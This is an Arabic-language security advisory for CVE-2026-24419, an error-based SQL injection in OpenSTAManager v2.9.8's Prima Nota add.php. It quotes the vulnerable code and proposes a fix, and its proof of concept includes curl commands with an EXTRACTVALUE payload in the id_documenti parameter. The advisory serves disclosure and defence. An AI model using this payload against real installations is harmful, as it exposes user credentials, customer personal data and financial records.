
CVE-2026-24419 - يحتوي OpenSTAManager على ثغرة حقن SQL في وحدة Prima Nota
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-24419 |
| الخطورة | عالية |
| النشرة الأمنية | عرض النشرة |
| اكتُشف بواسطة | Lukasz Rybak |
ثغرة حرجة من نوع حقن SQL القائم على الأخطاء (Error-Based SQL Injection) في وحدة Prima Nota (قيود اليومية) في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج محتويات قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء الشخصية (PII) والسجلات المالية، وذلك عبر رسائل خطأ XML عن طريق حقن SQL خبيث في معاملات URL.
الحالة: ✅ تم التأكيد والاختبار على خادم حي (v2.9.8)
المعاملات القابلة للاستغلال: id_documenti (معاملات GET)
نقطة النهاية المتأثرة: /modules/primanota/add.php
نوع الهجوم: حقن SQL قائم على الأخطاء (عبارة IN)
يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL القائم على الأخطاء في ملف add.php الخاص بوحدة Prima Nota (قيود اليومية). يفشل التطبيق في التحقق من أن القيم المفصولة بفواصل من معاملات GET هي أعداد صحيحة قبل استخدامها في عبارات IN() الخاصة بـ SQL، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة عبر رسائل خطأ XPATH.
سلسلة الثغرة:
نقطة الدخول: /modules/primanota/add.php (الأسطر 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
الأثر: تقوم الدالة get() بجلب معاملات URL التي يتحكم فيها المستخدم، وتقوم explode(',', (string) ...) بتقسيمها بفاصلة، لكن لا يوجد أي تحقق يضمن أن العناصر أعداد صحيحة.
نقطة حقن SQL: /modules/primanota/add.php (السطر 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
الأثر: يتم دمج عناصر المصفوفة من $id_documenti مباشرة باستخدام implode() دون التحقق من النوع أو استخدام prepare()، مما يتيح حقن SQL كامل.
تحليل السبب الجذري:
توجد الثغرة للأسباب التالية:
get('id_documenti') تُرجع نصوصًا يتحكم بها المستخدمexplode(',', (string) $value) يقسم حسب الفاصلة دون التحقق من الأنواعimplode(',', $array) يدمج عناصر المصفوفة مباشرة في استعلام SQL?id_documenti=1) AND EXTRACTVALUE(...) %23مسار الكود المتأثر:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
الخطوة 1: تسجيل الدخول
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
الخطوة 2: التحقق من وجود الثغرة (حقن SQL قائم على الأخطاء)
الاختبار 1: استخراج مستخدم قاعدة البيانات والإصدار
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
الاستجابة (رسالة الخطأ الظاهرة للمهاجم):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>

جميع المستخدمين المصادَق عليهم الذين لديهم إمكانية الوصول إلى وحدة Prima Nota (قيود اليومية).
الإصلاح الأساسي — التحقق من النوع:
الملف: /modules/primanota/add.php
قبل (العرضة للثغرة — الأسطر 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
بعد (الإصلاح):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
اكتُشف بواسطة Łukasz Rybak
تم الإفصاح عن ثغرة CVE هذه بشكل مسؤول وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا مقدمة لأغراض تعليمية ودفاعية فقط.